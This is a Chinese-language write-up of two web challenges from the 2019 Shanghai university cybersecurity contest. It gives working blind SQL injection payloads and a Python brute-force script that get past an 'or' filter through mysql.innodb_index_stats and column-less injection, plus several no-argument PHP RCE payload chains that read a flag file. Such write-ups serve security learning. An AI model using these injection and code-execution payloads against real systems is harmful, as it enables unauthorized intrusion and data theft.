2019上海市大学生网络安全大赛部分web题解

前言

这周六有这个比赛,学到了一个骚姿势,在这里记录一下。

easysql

题目是easysql,看到这个题目感觉问题不是这简单。

打开题目发现是一个未完成的页面,发现可能存在sql注入。
2019上海市大学生网络安全大赛部分web题解_第1张图片

通过简单的尝试我测试出一种绕过的方式: http://47.105.183.208:29898/article.php?id=123%27||(1)%23
2019上海市大学生网络安全大赛部分web题解_第2张图片

继续通过测试发现过滤了一些关键字符串,,or,union select等字符串,让人很头大,虽然能够构造出得到库名的方法http://47.105.183.208:29898/article.php?id=123%27||(database()<'c')%23
但是因为过滤了or这个关键的字符串,没有办法通过mysql的information的表来获取其他表的名字,但是查到了这个版本信息为: 5.6.46

当Mysql>5.6.x时

在Mysql中,存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎,另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。

而在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档,其对这两个新表的解释如下图:

从官方文档我们可以发现两个有用的信息:

  1. 从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
  2. 两个表都会存储数据库和对应的数据表。

唯一遗憾的是没有字段名

这个两个表存储了相应的数据表名等信息,我们可以通过这个表来弥补information表的缺陷。
因此我们可以构造http://47.105.183.208:29898/article.php?id=123%27||((select group_concat(distinct table_name) from mysql.innodb_index_stats)<'0')%23来进行盲注可以得到相应的数据表:article,fl111aa44a99g

由于我们无法知道这里的列明,所以可以选择无列名注入:

http://47.105.183.208:29898/article.php?id=123%27||(substr((select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `c`)n  where 0 union/**/select * from fl111aa44a99g)x) from 1)<'0')%23

可以注出flag。

注入脚本为:

import requests

url = "http://47.105.183.208:29898/article.php?id=123%27||"

sql_str ="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-}{~!@$%^&*()_"

flag = ""
for i in range(1,40):
	for j in range(1,len(sql_str)):
		# payload ="(database()<'"+flag+sql_str[j-1:j]+"')%23"  # database  cccttffff
		# payload ="(version()<'"+flag+sql_str[j-1:j]+"')%23"  # version  5.6.46
		# payload ="(substr((select group_concat(distinct table_name) from mysql.innodb_index_stats) from "+str(i)+")<'"+str(sql_str[j-1:j])+"')%23"  #   article,fl111aa44a99g
		payload ="(substr((select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `c`)n  where 0 union/**/select * from fl111aa44a99g)x) from "+str(i)+")<'"+sql_str[j-1:j]+"')%23"  #   article,flaaag
		res = requests.get(url=url+payload)
		print url+payload
		# print res.text
		# exit()
		if '2333333333333'  in res.text:
			flag += str(sql_str[j-2:j-1])
			print flag
			break


学到的骚姿势

这里学会了利用innodb_table_stats来注入表名。当过滤了or时可以利用这个表注出表名,再配合无列名注入,注出数据。

decade

打开链接通过源代码,发现了/code这个地址 并且知道flag在当前目录下测试知道为index.php 访问/code得到:

 

发现这道题和byteCTF中的一道题目特别相似,是无参数rce,参考了大佬的做法。

第一个正则if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code));意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)。就是所谓的无参数RCE。

第二个正则则是过滤了一些字符,限制了我们的代码执行。

我们则需要通过eval($code);来读取flag内容,flag在index.php里面,而code.php则在/code/code.php里面,因此我们需要跨目录到上级目录。

第一步:

发现读文件的函数,我们发现file_get_contentsreadfile等常规的读文件的函数都被ban了,通过尝试我发现了一个file()函数。
2019上海市大学生网络安全大赛部分web题解_第3张图片

file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行。既然是一个数组,我们可以用serialize序列化函数来转成一个字符串。就可以得到这个文件的所有内容了。

那就可以echo(serizalize(file()))读取文件内容了,就差构造文件名。

第二步:

最重要获取文件的目录了,
参考大佬的payload:
crypt(serialize(array()))
首先定义一个数组,然后对其进行序列化的操作,输出为一个字符串,这是常规操作。然后就用到了一个非常关键的函数crypt()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wn1pqpqS-1573209172358)(https://s2.ax1x.com/2019/11/08/MVvWaq.md.png)]
说起来很复杂 , 仅需要知道它可以返回一个加密字符串。
多次尝试之后发现,利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.。基本上是以. / 0 1这些为结尾。以$开头。

因为加密字符串的 " . " 可能会出现在末尾 . 这里很容易想到 用strrev()函数来反转字符串,然后利用chr(ord()) 这个组合,将.给取出来

 ord() : 解析 string 二进制值第一个字节为 0 到 255 范围的无符号整型类型( 不严禁的说就是将字符串第一个字符转换为 ASCII 编码 )

 chr() : 返回相对应于 ASCII 所0指定的单个字符 , 该函数与 ord() 是对应的~


 strrev() : 反转字符串

可以利用chr(ord(strrev(crypt(serialize(array())))))得到.

2019上海市大学生网络安全大赛部分web题解_第4张图片

由于scandir(getcwd())中的getcwd()这个函数被过滤了,我们可以用scandir('.')来代替

2019上海市大学生网络安全大赛部分web题解_第5张图片

有了 " . " , 就可以利用 scandir()next() 获得 " … " 了

MZpleH.md.png

再利用chdir()函数修改当前目录。

 chdir() : 将 PHP 的当前目录改为指定目录 . 

然后再重复上面的操作:
var_dump(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))));

2019上海市大学生网络安全大赛部分web题解_第6张图片

原理就是先切换到flag所在的目录,然后再通过crypt()函数来对字符串加密得到.然后利用scandir可以得到flag所在的目录的文件名。

猜测文件应该再最后一个利用end来获取文件名,再利用file()来读文件,由于var_dump()被过滤了,采用serialize利用echo输出文件

payload:

/code.php?code=echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));

MZVnp9.md.png
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w1DMz1JZ-1573209172376)(https://s2.ax1x.com/2019/11/08/MZV7h4.md.png)]

学到获取.骚姿势

Math函数

大佬的payload:
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

核心思路是 : phpversion() 函数会返回当前PHP的版本号 , 然后可以用 floor() 函数取第一位的数值,只会是5或者7。

有了数字 , 就可以通过各种数学运算拿到数字46 , 也就是ASCII字符 " . " .(膜一波师傅们tql)。

我试了一下,发现无论是5.x.x还是7.x.x都可以通过这和获取46这个数字。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-80WBga43-1573209172380)(https://s2.ax1x.com/2019/11/08/MZmLcj.png)]

利用到的函数:

floor() : 返回不大于 x 的下一个整数 , 简单的说就是向下取整

sqrt() : 返回一个数字的平方根

tan() : 返回一个数字的正切

cosh() : 返回一个数字的双曲余弦

sinh() : 返回一个数字的双曲正弦

ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整

通过 chr() 函数就可以返回 ASCII 编码为 46 的字符 , 也就为 " . " , 后面的步骤就和之前一样 ,
跳转到根目录chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))
然后读取 index.php 文件。这里需要使用if函数来确保

测试代码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ayGnVwed-1573209172386)(https://s2.ax1x.com/2019/11/08/MZlN9K.md.png)]

我们可以看到这个字符串很长,如果我们不想利用if函数,我们可以利用time()+localtime()函数来实现操作。

time() : 返回自从 Unix 纪元( 格林威治时间 1970 年 1 月 1 日 00:00:00 )到当前时间的秒数 , 也就是返回一个时间戳

localtime() : 以数值数组和关联数组的形式输出本地时间 . 

其中localtime关联数组的键名如下:

  • [tm_sec] - 秒数
  • [tm_min] - 分钟数
  • [tm_hour] - 小时
  • [tm_mday] - 月份中的第几天
  • [tm_mon] - 年份中的第几个月,从 0 开始表示一月份
  • [tm_year] - 年份,从 1900 开始
  • [tm_wday] - 星期中的第几天 (Sunday=0)
  • [tm_yday] - 年中的第几天
  • [tm_isdst] - 夏令时当前是否生效
localtime() 数组,可以提取出秒数的值,用chr转换为字符串 在第46秒时提取,可以获得"."

localtime() 的第一个参数默认为时间戳 , 也就是 time()的返回值 .

time() 的参数为 void 也就是说引入任意的参数都不会影响 , 其输出为当前的时间戳

payload:
var_dump(file(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

可以写一个脚本一直跑,在每一分钟的46秒都可以读取到flag
MZ8xbQ.md.png

localeconv() 函数

核心思路:localeconv() 函数

localeconv() : 返回一个包含本地化数字和货币格式设置信息的关联数组 . 
➜  code php -r "var_dump(localeconv());"
array(18) {
  ["decimal_point"]=>
  string(1) "."
  ["thousands_sep"]=>
  string(0) ""
  ["int_curr_symbol"]=>
  string(0) ""
  ["currency_symbol"]=>
  string(0) ""
  ["mon_decimal_point"]=>
  string(0) ""
  ["mon_thousands_sep"]=>
  string(0) ""
  ["positive_sign"]=>
  string(0) ""
  ["negative_sign"]=>
  string(0) ""
  ["int_frac_digits"]=>
  int(127)
  ["frac_digits"]=>
  int(127)
  ["p_cs_precedes"]=>
  int(127)
  ["p_sep_by_space"]=>
  int(127)
  ["n_cs_precedes"]=>
  int(127)
  ["n_sep_by_space"]=>
  int(127)
  ["p_sign_posn"]=>
  int(127)
  ["n_sign_posn"]=>
  int(127)
  ["grouping"]=>
  array(0) {
  }
  ["mon_grouping"]=>
  array(0) {
  }
}

可以看到这个数组的第一位就是.
然后可以利用函数将.取出来 current函数pos函数都可以完成操作

➜  code php -r "var_dump(current(localeconv()));"
string(1) "."
➜  code php -r "var_dump(pos(localeconv()));"
string(1) "."
➜  code

然后的操作就和第一种方法一样了。可以使用if函数,或者利用time()+localtime()函数来实现操作。

crypt()函数

首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : **crypt()**这个函数会返回一个加密的字符串。 这些字符串常以/ . 0 1结尾,配合chr(ord(strrev()))可以得到.。然后就时跳目录,读取flag
payload:
echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));

你可能感兴趣的:(writeup,web安全)